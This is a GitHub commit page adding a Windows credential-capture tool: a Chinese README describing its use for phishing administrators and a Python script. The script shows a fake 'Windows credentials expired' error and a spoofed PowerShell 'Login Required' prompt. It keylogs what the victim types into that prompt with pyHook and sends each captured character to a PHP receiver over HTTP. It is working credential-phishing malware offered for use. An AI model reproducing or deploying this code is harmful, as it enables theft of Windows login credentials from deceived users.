Skip to content

Commit e075e94

Browse files
authored
Add files via upload
1 parent a513271 commit e075e94

2 files changed

Lines changed: 68 additions & 0 deletions

File tree

windows凭证捕获/README.md

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
### windows凭证捕获 ##
2+
可用于钓鱼管理员,最后脚本会将捕获到的:username和password
3+
4+
通过请求指定的php来接收密码
5+
```python
6+
rqt=requests.get(url='http://127.0.0.1/jieshou.php?password={}'.format(str(j)),headers={'user-agent':'nb'})
7+
```
8+
9+
请自行打包exe
10+
11+
效果图如下:
12+
![](https://s2.ax1x.com/2019/08/13/mpheud.gif)
13+
14+
由于要安装pyHook库,我这里直接上传了
15+
16+
不要去lfd下,那个只要窗体不是Unicode编码就直接报错了
17+
https://www.lfd.uci.edu/~gohlke/pythonlibs/
18+

windows凭证捕获/main.py

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
#@author:
2+
#@file:main.py
3+
import pythoncom, pyHook
4+
import pyHook
5+
from ctypes import *
6+
import requests
7+
import win32api
8+
import win32con
9+
import os
10+
import threading
11+
12+
win32api.MessageBox(0,"Windows凭证失效","Windows Error",win32con.MB_ICONERROR)
13+
os.popen(r'''powershell iex "$creds = $host.ui.PromptForCredential(\"Login Required\",\"Enter username and password.\", \"$env:username\",\"NewBiosUserName\");"''')
14+
print('[+] windows凭证捕获')
15+
passwd=[]
16+
def OnKeyboardEvent(event):
17+
windowTitle=create_string_buffer(512)
18+
windll.user32.GetWindowTextA(event.Window,byref(windowTitle),512)
19+
windowname=windowTitle.value.decode('gbk')
20+
if 'Login Required'==windowname:
21+
key=chr(event.Ascii)
22+
if key!='':
23+
print('{}'.format(key),end='')
24+
passwd.append(key)
25+
elif len(key)==0:
26+
print('\n')
27+
# return True to pass the event to other handlers
28+
return True
29+
30+
def run():
31+
# create a hook manager
32+
hm = pyHook.HookManager()
33+
# watch for all mouse events
34+
hm.KeyDown = OnKeyboardEvent
35+
# set the hook
36+
hm.HookKeyboard()
37+
# wait forever
38+
print('键盘输入:')
39+
pythoncom.PumpMessages()
40+
41+
if __name__ == '__main__':
42+
t=threading.Thread(target=run,args=())
43+
t.setDaemon(True)
44+
t.start()
45+
t.join(10)
46+
for j in passwd:
47+
if str(j)=='\x00' or str(j)=='\t':
48+
pass
49+
else:
50+
rqt=requests.get(url='http://127.0.0.1/jieshou.php?password={}'.format(str(j)),headers={'user-agent':'nb'})

0 commit comments

Comments
 (0)